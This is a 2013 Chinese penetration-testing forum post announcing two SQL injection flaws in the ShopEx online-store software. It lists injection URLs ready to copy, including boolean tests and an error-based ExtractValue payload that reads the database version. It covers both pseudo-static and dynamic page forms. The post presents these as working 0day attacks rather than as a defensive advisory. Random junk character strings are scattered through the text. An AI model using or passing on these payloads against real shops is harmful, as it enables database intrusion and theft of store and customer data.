中国网络渗透测试联盟

标题: shopex通杀注入0day漏洞两处 [打印本页]
作者: admin    时间: 2013-2-19 08:31
标题: shopex通杀注入0day漏洞两处
注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术… & I  W" b; V7 D9 A( P

9 ?& p" {. ^* s) {* \好吧，我扯远了~~9 ?: Y: `1 u2 E0 }# a+ b; I
其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~# x6 s5 @7 n' S' ^4 _# ~2 A* H$ \( C
不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：
7 E: a3 e( g2 I
% ^% C6 F! ^+ L0 }http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html . R' z% r, P. ^: t" H. ^

+ F- u" K/ \" F6 e) s, T( ?' l, F' Ahttp://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html . J6 M# |% k/ }9 c

* _' {  M8 x0 k- I* a- W* Hhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
5 l) f7 d, L  [% u
% g9 J3 H  r4 R/ u/ u# x; ]http://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html ) q. w! H/ g5 ?5 p/ e
  n6 _' [* ~6 Q/ V6 b

6 k% C; j4 @8 g  n9 y! {6 ^2 p一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。
8 |% e5 n7 V6 ^$ W/ W如何注入就不多说了，10多年的东西了…不会也会了…
" ]" g3 ?2 _/ f$ A
, v0 g; E8 p  X, I' s4 a1 x
' H" ?1 `8 O/ _* p" N- `- M) Y% w% c3 }' w* H
& x. e! s$ v: I3 e




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2